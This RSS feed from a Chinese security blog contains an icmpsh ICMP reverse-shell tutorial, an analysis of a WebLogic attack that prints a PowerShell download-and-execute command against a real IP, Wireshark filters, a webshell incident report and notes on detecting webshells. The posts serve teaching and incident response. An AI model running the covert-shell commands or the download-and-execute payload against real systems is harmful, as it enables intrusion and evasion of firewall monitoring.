<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Posts on Lucien's Blog</title><link>https://www.lucien116.com/posts/</link><description>Recent content in Posts on Lucien's Blog</description><generator>Hugo</generator><language>zh-Hans</language><lastBuildDate>Tue, 30 Jul 2019 03:37:10 +0000</lastBuildDate><atom:link href="https://www.lucien116.com/posts/feed.xml" rel="self" type="application/rss+xml"/><item><title>通过ICMP进行命令控制和隧道传输</title><link>https://www.lucien116.com/archives/479/</link><pubDate>Tue, 30 Jul 2019 03:37:10 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=479</guid><description>&lt;p&gt;在本文中，您将了解通过ICMP-C2和ICMP隧道进行数据泄漏的RED TEAM操作，因为这两种方法都有助于规避防火墙规则，因为它们会在网络中产生不合理的流量。&lt;/p&gt;
&lt;h3 id="表中的内容"&gt;&lt;strong&gt;表中的内容&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;ICMP协议工作概述&lt;/strong&gt; &lt;strong&gt;通过ICMP协议进行命令和控制&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;需求&lt;/li&gt;
&lt;li&gt;icmpsh：C2通道及其安装&lt;/li&gt;
&lt;li&gt;将icmpsh作为Master运行&lt;/li&gt;
&lt;li&gt;将icmpsh作为Slave运行&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="icmp隧道"&gt;&lt;strong&gt;ICMP隧道&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;需求&lt;/li&gt;
&lt;li&gt;在服务器计算机上配置ICMP（目标）&lt;/li&gt;
&lt;li&gt;通过客户端计算机配置ICMP隧道（入侵者）&lt;/li&gt;
&lt;li&gt;通过ICMP连接SSH&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="icmp协议工作概述"&gt;&lt;strong&gt;ICMP协议工作概述&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Internet控制消息协议（ICMP）是Internet协议套件中的支持协议。网络设备（包括路由器）使用它来发送错误消息和操作信息，指示所请求的服务不可用或无法访问主机或路由器。&lt;/p&gt;
&lt;p&gt;它是第3层，即ping命令用于通过ICMP有效载荷发送消息的网络层协议，ICMP有效载荷用IP报头分组封装。根据MTU，ICMP包的大小不能大于1500字节。&lt;/p&gt;
&lt;p&gt;**网络层的ICMP数据包&lt;strong&gt;&lt;strong&gt;IP标头&lt;/strong&gt;&lt;/strong&gt;ICMP标题&lt;strong&gt;&lt;strong&gt;ICMP有效负载大小&lt;/strong&gt;&lt;/strong&gt;MTU（1500）**20个字节8个字节1472字节（最大）20 + 8 + 1472 = 1500
ping命令向目标主机发送ICMP回应请求。目标主机以echo Reply响应，这意味着目标主机处于活动状态。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;从 &lt;a href="https://www.hackingarticles.in/understanding-guide-icmp-protocol-wireshark/"&gt;这里&lt;/a&gt; 了解更多&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="通过icmp协议进行命令和控制"&gt;&lt;strong&gt;通过ICMP协议进行命令和控制&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;在我们的许多出版物中，我们讨论过C2通道，它还被认为是命令和控制，所以你可以 &lt;strong&gt;&lt;a href="https://www.hackingarticles.in/red-teaming/"&gt;在这里&lt;/a&gt;&lt;/strong&gt; 找到它。虽然您很高兴学习如何使用ICMP协议作为本论文之间的命令和控制通道。&lt;/p&gt;
&lt;p&gt;网络战正在闯入入侵者和安全研究员，因此，我们需要保留部分备份计划。众所周知，公司已经变得越来越聪明，他们理解在实现机器的TCP反向连接后，正在观察有关攻击的类型。&lt;/p&gt;
&lt;p&gt;因此我们提出了ICMP秘密shell，并使用icmpsh作为命令和控制工具。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;需求&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;攻击者机器或C2通道：192.168.1.108（Kali Linux）&lt;/li&gt;
&lt;li&gt;主机：192.168.1.106（Windows 10）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="icmpshc2通道及其安装"&gt;&lt;strong&gt;icmpsh：C2通道及其安装&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;icmpsh&lt;/strong&gt; 是一个简单的反向ICMP shell，带有win32 slave和 &lt;strong&gt;CIX&lt;/strong&gt;，Perl或Python中的POSIX兼容master。与其他类似的开源工具相比，其主要优势在于它不需要管理权限即可运行到目标计算机上。&lt;/p&gt;
&lt;p&gt;该工具清洁，简单，便携。从属（客户端）在目标Windows机器上运行，它用C语言编写并且仅在Windows上运行，而主服务器（服务器）可以在攻​​击者机器上的任何平台上运行，因为它已经由Nico Leidecker在C和Perl中实现，后来它也被移植到Python中。&lt;/p&gt;
&lt;p&gt;它非常容易安装和用作c2通道。将攻击者机器转为icmpsh并从Github下载icmpsh。&lt;/p&gt;
&lt;p&gt;1&lt;/p&gt;
&lt;p&gt;git clonehttps://github.com/inquisb/icmpsh.git&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://i1.wp.com/1.bp.blogspot.com/-RV787f5w6t4/XT1xoJ8mGXI/AAAAAAAAfnA/AZ7Dtc3oBBsgC-18l4Fh6TkYCO3aHJz9wCLcBGAs/s1600/1.png?w=687&amp;ssl=1"&gt;&lt;/p&gt;
&lt;h3 id="运行icmpsh作为masterkali-linux"&gt;&lt;strong&gt;运行icmpsh作为Master（Kali Linux）&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;下载完成后，您可以使用以下命令运行主服务器。采取措施之前最重要的一步是禁用计算机上的ping回复。这可以防止内核响应ping数据包本身。&lt;/p&gt;
&lt;p&gt;1&lt;/p&gt;
&lt;p&gt;2&lt;/p&gt;
&lt;p&gt;3&lt;/p&gt;
&lt;p&gt;4&lt;/p&gt;
&lt;p&gt;sysctl-wnet.ipv4.icmp_echo_ignore_all=1&lt;/p&gt;
&lt;p&gt;cd icmpsh&lt;/p&gt;
&lt;p&gt;syntax:./icmpsh_m.py&amp;lt;attacker’s-IP&amp;gt;&lt;target-IP&gt;&lt;/p&gt;
&lt;p&gt;./icmpsh_m.py192.168.1.108192.168.1.106&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://i1.wp.com/1.bp.blogspot.com/-YPe8fsZDUQw/XT1xpWuxoII/AAAAAAAAfnU/o3sgN0yliC0YY0h_Yea6onLb-aZEUlyEACLcBGAs/s1600/2.png?w=687&amp;ssl=1"&gt;&lt;/p&gt;
&lt;h3 id="将icmpsh作为slave运行windows-10"&gt;&lt;strong&gt;将icmpsh作为slave运行（Windows 10）&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;现在再次在主机内部安装icmpsh工具以作为从站运行，并且在目标系统上运行从站的用户不需要管理权限。&lt;/p&gt;
&lt;p&gt;然后运行以下命令：&lt;/p&gt;
&lt;p&gt;1&lt;/p&gt;
&lt;p&gt;2&lt;/p&gt;
&lt;p&gt;syntax:icmpsh.exe-t&lt;Kali IP&gt;&lt;/p&gt;
&lt;p&gt;icmpsh.exe-t192.168.1.108&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://i0.wp.com/1.bp.blogspot.com/-xupIgD0Me38/XT1xrMkoCfI/AAAAAAAAfno/E6Ln9mUJlPQtQR83FPl1hzuwz5w3y5lawCLcBGAs/s1600/3.png?w=687&amp;ssl=1"&gt;&lt;/p&gt;
&lt;p&gt;一旦在主机上执行上述命令，入侵者将具有作为从属设备运行的机器的反向外壳。您可以从下面给出的图像中观察到机器通过产生命令提示来控制从机。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://i2.wp.com/1.bp.blogspot.com/-SY4cgTddQH8/XT1xq0VB05I/AAAAAAAAfnk/w8DjRwEfhzUD-r6t-jg0RivIU3B2HNujwCLcBGAs/s1600/4.png?w=687&amp;ssl=1"&gt;&lt;/p&gt;</description></item><item><title>Oracle WebLogic漏洞攻击</title><link>https://www.lucien116.com/archives/474/</link><pubDate>Mon, 29 Jul 2019 06:45:56 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=474</guid><description>&lt;p&gt;最近，发现有使用Oracle WebLogic RCE反序列化漏洞（CVE-2018-2628） 进行攻击的活动。&lt;/p&gt;
&lt;p&gt;攻击者在其请求中包含了PowerShell命令，且进过base64加密：&lt;/p&gt;
&lt;figure&gt;
&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2019/07/123-2.png"/&gt;
&lt;/figure&gt;
&lt;p&gt;解码base64后代码如下：&lt;/p&gt;
&lt;p&gt;$OS=(GWmi Win32_OperatingSystem).Caption;
$WC=New-Object Net.WebClient;
$WC.Headers[&amp;lsquo;User-Agent&amp;rsquo;]=&amp;ldquo;PowerShell/WL $OS&amp;rdquo;;
IEX $WC.DownloadString(&amp;lsquo;http://101.200.45.78/images/test/DL.php&amp;rsquo;);&lt;/p&gt;
&lt;p&gt;攻击者试图在http://101.200.45.78/images/test/DL.php上获取DL.php文件。 尝试抓取该文件：&lt;/p&gt;
&lt;figure&gt;
&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2019/07/123.png"/&gt;
&lt;/figure&gt;
&lt;p&gt;ERROR 404？really?&lt;/p&gt;
&lt;p&gt;可能是我在这里遗漏了什么？ 让我们仔细分析命令：&lt;/p&gt;
&lt;figure&gt;
&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2019/07/2.png"/&gt;
&lt;/figure&gt;
&lt;p&gt;我们可以看到攻击者在获取文件时需要用特定的User-Agent。&lt;br&gt;
这就是为什么尝试直接wget / curl文件时，它失败了。&lt;/p&gt;
&lt;p&gt;所以我们要做的是在获取文件时将User-Agent设置为完全相同。&lt;br&gt;
在这种情况下，使用curl来获取文件：&lt;/p&gt;
&lt;p&gt;root@leopardbox:~# curl -v -H User-Agent: &amp;ldquo;PowerShell/WL Microsoft Windows 7 Professional&amp;rdquo; http://111.230.229.226/images/test/DL.php&lt;/p&gt;
&lt;p&gt;\* Trying 111.230.229.226&amp;hellip;&lt;/p&gt;
&lt;p&gt;\* Connected to 111.230.229.226 (111.230.229.226) port 80 (#0)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;GET /images/test/DL.php HTTP/1.1&lt;/p&gt;
&lt;p&gt;Host: 111.230.229.226&lt;/p&gt;
&lt;p&gt;Accept: */*&lt;/p&gt;
&lt;p&gt;User-Agent: PowerShell/WL Microsoft Windows 7 Professional &amp;lt; &amp;lt; HTTP/1.1 200 OK&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt; Date: Sun, 29 Apr 2018 11:50:23 GMT&lt;/p&gt;</description></item><item><title>Wireshark过滤规则之：http数据包</title><link>https://www.lucien116.com/archives/445/</link><pubDate>Wed, 14 Nov 2018 15:38:14 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=445</guid><description>&lt;p&gt;http.host==magentonotes.com
http.host contains magentonotes.com
//过滤经过指定域名的http数据包，这里的host值不一定是请求中的域名&lt;/p&gt;
&lt;p&gt;http.response.code==302
//过滤http响应状态码为302的数据包&lt;/p&gt;
&lt;p&gt;http.response==1
//过滤所有的http响应包&lt;/p&gt;
&lt;p&gt;http.request==1
//过滤所有的http请求，貌似也可以使用http.request&lt;/p&gt;
&lt;p&gt;http.request.method==POST
//wireshark过滤所有请求方式为POST的http请求包，注意POST为大写&lt;/p&gt;
&lt;p&gt;http.cookie contains guid
//过滤含有指定cookie的http数据包&lt;/p&gt;
&lt;p&gt;http.request.uri==”/online/setpoint”
//过滤请求的uri，取值是域名后的部分&lt;/p&gt;
&lt;p&gt;http.request.full_uri==” &lt;a href="http://task.browser.360.cn/online/setpoint"&gt;http://task.browser.360.cn/online/setpoint&lt;/a&gt;”
//过滤含域名的整个url则需要使用http.request.full_uri&lt;/p&gt;
&lt;p&gt;http.server contains “nginx”
//过滤http头中server字段含有nginx字符的数据包&lt;/p&gt;
&lt;p&gt;http.content_type == “text/html”
//过滤content_type是text/html的http响应、post包，即根据文件类型过滤http数据包&lt;/p&gt;
&lt;p&gt;http.content_encoding == “gzip”
//过滤content_encoding是gzip的http包&lt;/p&gt;
&lt;p&gt;http.transfer_encoding == “chunked”
//根据transfer_encoding过滤&lt;/p&gt;
&lt;p&gt;http.content_length == 279
http.content_length_header == “279″
//根据content_length的数值过滤&lt;/p&gt;
&lt;p&gt;http.server
//过滤所有含有http头中含有server字段的数据包&lt;/p&gt;
&lt;p&gt;http.request.version == “HTTP/1.1″
//过滤HTTP/1.1版本的http包，包括请求和响应&lt;/p&gt;
&lt;p&gt;http.response.phrase == “OK”
//过滤http响应中的phrase&lt;/p&gt;
&lt;p&gt;原创文章，转载请注明：转载自 &lt;strong&gt;&lt;a href="https://www.magentonotes.com/"&gt;Web开发笔记&lt;/a&gt;&lt;/strong&gt; | &lt;a href="https://www.magentonotes.com/wireshark-filter-http-packet.html"&gt;Wireshark过滤规则之：http数据包&lt;/a&gt;&lt;/p&gt;</description></item><item><title>对某集团网站被入侵后的分析</title><link>https://www.lucien116.com/archives/418/</link><pubDate>Fri, 31 Aug 2018 15:56:57 +0000</pubDate><guid isPermaLink="false">https://www.lucien116.com/?p=418</guid><description>&lt;p&gt;通过监测发现，2018-8-28-15：30左右安全设备产生大量“上传漏洞攻击”和“一句话木马”的告警，发现攻击源为IP:110.185.170.221 地理位置：四川成都；被攻击IP：10.100.250.15 端口：81 ，该服务器为xxx公司网站英文版（www.xxx.com），如下图：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2018/08/2.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2018/08/2.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图1-告警信息&lt;/p&gt;
&lt;p&gt;       通过对告警流量的分析，发现攻击者通过发送POST请求向site.aspx页面提交并执行了一段代码(代码经过BASE64编码)，随后网站返回了一个含有一句话木马内容的页面，正是这段一句话木马的内容触发的告警，如下图：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2018/08/3.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2018/08/3.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图2-发现一句话后门文件&lt;/p&gt;
&lt;p&gt;       随后对攻击者提交的POST数据进行分析，通过对BASE64编码的代码解码后，发现其最终执行的代码为：I:\website\xxx.com\aaa.asp （访问xxx.com网站根目录下的aaa.asp文件），而这个aaa.asp正是一个一句话后门。由此可以证实该网站已经被植入一句话木马，而site.aspx页面能够执行命令且查看文件的行为也很可疑。&lt;/p&gt;
&lt;p&gt;通过对攻击IP：110.185.170.221的流量回溯分析后发现，从8月28日9:52开始改IP便开始对服务器10.00.250.15的80、81端口发起WEB扫描，如下图：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2018/08/5.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2018/08/5.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图3-web扫描&lt;/p&gt;
&lt;p&gt;      对HTTP访问日志的分析后发现，攻击者访问频率最高的为http://www.xxx.com.hk/Login.aspx和http://xxx.xx.xx.77:81/Upload/9/2000/site.aspx两个页面，如下图：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2018/08/6.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2018/08/6.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图4-1-页面访问&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2018/08/7.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2018/08/7.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图4-2-页面访问&lt;/p&gt;
&lt;p&gt;       接着着重对这两个页面的数据进行分析。通过分析发现页面http://www.xxx.com.hk/Login.aspx为网站后台登录页面， 简单测试后发现该登陆页面没有设置登陆尝试次数限制和验证码等安全措施，且没有过滤用户的输入，存在SQL注入漏洞和暴力破解的风险，如下图：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2018/08/8.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2018/08/8.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图5-Login.aspx&lt;/p&gt;
&lt;p&gt;       分析相关数据包发现，攻击者正利用此页面发起暴力破解攻击和SQL注入攻击，如下图：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2018/08/9.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2018/08/9.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图6-暴力破解攻击&lt;/p&gt;
&lt;p&gt;       暴力破解不成功，随后发起SQL注入攻击，如下图:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2018/08/sql.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2018/08/sql.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图6- SQL注入攻击&lt;/p&gt;
&lt;p&gt;       攻击者通过sql注入漏洞，成功获取了用户名为“yangfang”的账号和登录密码并登录账号进入了后台，如下图：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2018/08/11.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2018/08/11.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图6-攻击者使用yangfang账号登录&lt;/p&gt;
&lt;p&gt;       登录后台后，从HTTP访问日志中可以发现攻击者便开始频繁访问http://xxx.xxx.xx.77:81/Upload/9/2000/site.aspx页面。这个site.aspx文件到底是网站原有的文件还是攻击者上传的可疑文件呢？&lt;/p&gt;
&lt;p&gt;于是，先找到攻击者第一次访问site.aspx页面时的HTTP日志，发现在访问site.aspx页面之前攻击者还先POST请求了一个/visual.aspx?ucfi=&amp;amp;EVENT=***的页面，如下图：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2018/08/15-1.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2018/08/15-1.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图7- 上传页面&lt;/p&gt;
&lt;p&gt;       随后找到访问该页面时的流量，通过流量分析，发现该页面为后台文件管理的页面，攻击者通过此页面上传了site.aps文件到/Upload/9/2000目录下，从流量中可以看到site.aspx也是一个后门文件，如下图：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2018/08/16.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2018/08/16.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图8-上传一句话木马site.aspx&lt;/p&gt;
&lt;p&gt;       之后经证实，由于该页面未对上传的文件做任何检测和限制，攻击者正是通过此页面轻松上传了这个一句话木马文件site.aspx。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2018/08/12.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2018/08/12.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图7-文件上传点&lt;/p&gt;
&lt;p&gt;       在之后的分析中，同时在/Upload/9/2000目录下还发现了多个其他的后门文件，如下图：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.lucien116.com/wp-content/uploads/2018/08/17.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2018/08/17.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图9-其他后门文件&lt;/p&gt;
&lt;p&gt;       由此可见该服务器早已经被多人控制，且上传了各种后门文件和程序，不排除攻击者通过后门已经提权成功获取了对整个服务器的控制权限。由于网站目录文件较多，且服务器上不止存在一个网站，建议及时删除已知的后门，并对网站全站以及服务器进行深入排查。&lt;/p&gt;</description></item><item><title>机器学习与网络安全相关的资料</title><link>https://www.lucien116.com/archives/407/</link><pubDate>Mon, 12 Mar 2018 14:47:18 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=407</guid><description>&lt;p&gt;外媒 KDnuggets 刊登了一篇机器学习与网络安全相关的资料大汇总，文中列出了相关数据源的获取途径，优秀的论文和书籍，以及丰富的教程。大部分都是作者在日常工作和学习中亲自使用并认为值得安利的纯干货。&lt;/p&gt;
&lt;h2 id="数据源"&gt;数据源&lt;/h2&gt;
&lt;p&gt;&lt;a href="http://www.secrepo.com/"&gt;SecRepo.com&lt;/a&gt; 网站，该网站汇聚了大量的与机器学习和网络安全相关的数据源，并提供免费下载。据网站首页介绍，所有可用的数据源包含两个部分：一是网站方面自己整理的，二是来自第三方的。其内容包括互联网扫描数据，恶意软件源码，以及和网络安全相关的系统日志等。&lt;/p&gt;
&lt;h2 id="论文"&gt;论文&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.usenix.org/conference/usenixsecurity16/technical-sessions/presentation/melicher"&gt;&lt;strong&gt;1. Fast, Lean, and Accurate: Modeling Password Guessability Using Neural Networks&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;本文来自卡内基梅隆大学，分析了通用符号密码的脆弱性，以及目前常见的密码健壮性检验的各种缺点，甚至给出了他们在实验室利用神经网络算法攻破各种符号密码的具体步骤，非常强大。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://ieeexplore.ieee.org/document/5504793/"&gt;&lt;strong&gt;2. Outside the Closed World: On Using Machine Learning for Network Intrusion Detection&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;本文来自加州伯克利大学，分析了利用机器学习探测网络安全的优势和劣势，并给出了一些改善这些劣势的解决方案。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://link.springer.com/chapter/10.1007/978-3-540-30143-1_11"&gt;&lt;strong&gt;3. Anomalous Payload-Based Network Intrusion Detection&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;通常一个互联网上的恶意请求都会在真正的恶意代码外部包装一层善意的外衣，这大大阻碍了相关探测程序的正常工作。来自哥伦比亚大学的Ke Wang和Salvatore J. Stolfo两位学者在本文中给出了一种全新的探测恶意代码中有效代码段的方法，并在实测中达到了接近100%正确率和0.1%的误报率。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://dl.acm.org/citation.cfm?id=2420987"&gt;&lt;strong&gt;4. Malicious PDF detection using metadata and structural features&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;当前，随着防范措施的升级，恶意代码隐藏在PDF和Word等文本文件中的例子屡见不鲜，用户防不胜防。在本文中，来自乔治梅森大学的学者介绍了一种通过机器学习技术探测恶意文本文件的技术，特别是内含恶意代码的PDF文件。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://dl.acm.org/citation.cfm?id=2339697"&gt;&lt;strong&gt;5. Adversarial support vector machine learning&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;来自德州大学，介绍了两种利用机器学习技术探测网络恶意攻击的分析模型，即无边界攻击模型（free-range attack model）和限制边界攻击模型（restrained attack model）。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://dl.acm.org/citation.cfm?id=1387709.1387716"&gt;&lt;strong&gt;6. Exploiting machine learning to subvert your spam filter&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;</description></item><item><title>一份安全分析师面试题</title><link>https://www.lucien116.com/archives/404/</link><pubDate>Tue, 06 Mar 2018 13:54:52 +0000</pubDate><guid isPermaLink="false">http://www.lucien116.com/?p=404</guid><description>&lt;p&gt;昨天做的一份关于安全分析的面试题，记录一下，有些地方回答得可能不是很全面，若有纰漏欢迎指出。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如何对邮件或web服务器的网络行为进行分析，写出你的方法、步骤和关键要点。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;一、针对邮件服务器的web端进行网络行为的分析：&lt;/p&gt;
&lt;p&gt;下面假设针对邮件服务器常出现的三种情况进行分析&lt;/p&gt;
&lt;p&gt;1、暴力破解用户登录名和密码&lt;/p&gt;
&lt;p&gt;分析方法：&lt;/p&gt;
&lt;p&gt;（1） 查看web端页面的访问流量情况是否异常，重点查看某一时间段内连接该web页面的IP情况，是否有同一IP请求大量重复连接的情况（有一些暴力破解攻击攻击者为了避免被防火墙、IDS等一些安全设备屏蔽，也会采用IP池、代理等多种方式频繁更换IP），如存在这种情况则进行深入分析。&lt;/p&gt;
&lt;p&gt;（2） 通常web端的暴力破解攻击会产生大量的POST提交请求，查看HTTP请求的数据包，如果发现提交的HTTP请求的内容中含有大的量的相同账号，不同密码的登录尝试请求（也可能是大量的不同账号的登陆请求），则可断定为暴力破解攻击。 如下图： &lt;a href="https://www.lucien116.com/wp-content/uploads/2018/03/baolipojie.png"&gt;&lt;img loading="lazy" src="https://www.lucien116.com/wp-content/uploads/2018/03/baolipojie.png"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;图1-web暴力破解攻击&lt;/p&gt;
&lt;p&gt;防御措施：&lt;/p&gt;
&lt;p&gt;使用验证码进行验证登陆、限制用户尝试密码次数、邮箱用户密码设置强密码等。&lt;/p&gt;
&lt;p&gt;2、 邮件系统内某一用户对外发送大量垃圾邮件&lt;/p&gt;
&lt;p&gt;通常这种情况出现在用户邮箱被盗，或计算机中病毒（蠕虫病毒的情况较常见）之后。&lt;/p&gt;
&lt;p&gt;分析方法：&lt;/p&gt;
&lt;p&gt;（1） 若用户邮件系统本身数据量较大可采用采样分析的方法，选择邮件系统较繁忙的时间段（如上班期间）抓包分析。
（2） 抓取网络流量中的SMTP、POP3协议的流量包，利用wireshark等分析工具的统计功能查看向外发送请求较多的IP地址。
（3） 针对对外请求较多的IP地址可以查看其发送的数据包里面所发送的邮件头信息，具体查看发送的频率（一般很快），其次查看收件人邮箱地址（通常对外发送垃圾邮件邮件的收件人地址多为一些怪异的邮箱地址，具体根据个人经验判断）、邮件内容（若未加密）是否为广告邮件或其他垃圾邮件，再可以查看发送出去的邮件的状态，大多数垃圾邮件发送出去之后一般会被对方服务器拒收，数据包里可以看到 “Sender denied”的标志。
（4） 通过上述几点可以综合判断用户是否存在用户邮箱的对外发送垃圾邮件影响邮件服务器性能的问题。
（5） 针对计算机中蠕虫病毒之后对外发送垃圾邮件的情况，通常计算机在发送垃圾邮件之前会向外连接远程服务器下载邮箱地址列表，然后再对列表中的邮件地址发送垃圾邮件。同时蠕虫病毒本身具有传播性，还会伴随着内网扫描、尝试邮箱用户密码（该操作通常也会下载尝试的用户名和密码文件）等操作。可以通过这些特征来发现邮件服务器中的异常行为，蠕虫病毒分析具体技术细节就不再赘述。&lt;/p&gt;
&lt;p&gt;防御措施：&lt;/p&gt;
&lt;p&gt;加强服务器自身的安全性及时打补丁、安装杀毒软件、邮箱用户密码设置强密码等。&lt;/p&gt;
&lt;p&gt;3、 针对其他类型web服务器主机的流量分析&lt;/p&gt;
&lt;p&gt;首先要知道WEB服务器如果出现问题，常见的大致可以分为三个方面的问题：被植入后门、遭受DDOS攻击、网站存在漏洞被利用。下面从这三个方面大致讲述。&lt;/p&gt;
&lt;p&gt;分析方法：&lt;/p&gt;
&lt;p&gt;（1） 被植入后门（这里只针对被植入webshell的情况，服务器自身被植入后门不做分析）
通常网站在被植入webshell之后，黑客会进行webshell的访问。若是在线监测分析可在监测工具中加入常见webshell特征（如一些一句话木马常用的函数“eval()”、”execute()”、wscipt.shell等）进行在线监测，查看是否有IP连接具有这些危险函数的页面，如果有再进行下一步的深入分析查看该页面是否是正常网站页面（通常情况一般web文件不会包含上述特征）。同时也可以通过查看数据包中HTTP是否有对可疑页面文件（如1.jsp等）的请求，判断是否被植入后门。以上方法缺点是在数据量较大的情况下可能存在较多的误报，人工检测分析效率不高，所以最好还是借助安全设备和一些安全工具进行检测再对检测出的可疑数据进行分析确认。
顺便提一下目前比较流行的网站被植入挖矿代码的分析和检测。如果网站被植入挖矿代码，挖矿代码一定会连接矿池地址，在数据包中可针对矿池地址和一些常用的挖矿的端口进行检查。
（2） 遭受DDOS攻击
DDOS攻击类型多种，以下只挑选两种较有代表性的攻击举例。
SYN flood攻击。短时间内通过大量的IP向web服务器发送请求连接的半开TCP数据包，而不完成三次握手。所以这种攻击一般很明显，从整体流量上看，syn数据包的数据包会明显增加。
慢速HTTP POST 攻击。这种攻击不会像一般的DDOS攻击发送大量数据包暂用网络资源来导致WEB服务器拒绝服务。通常这类攻击在与服务器建立连接后会设定一个较大的content-length值，然后以很低的速度发包。针对这类攻击可以查看数据包中HTTP的POST请求中是否有IP发送content-length较大的数据包。经过之前对这种类型的攻击工具的分析，一般发包的时间是固定的，例如10S发一次包。
（3） 网站存在漏洞被利用
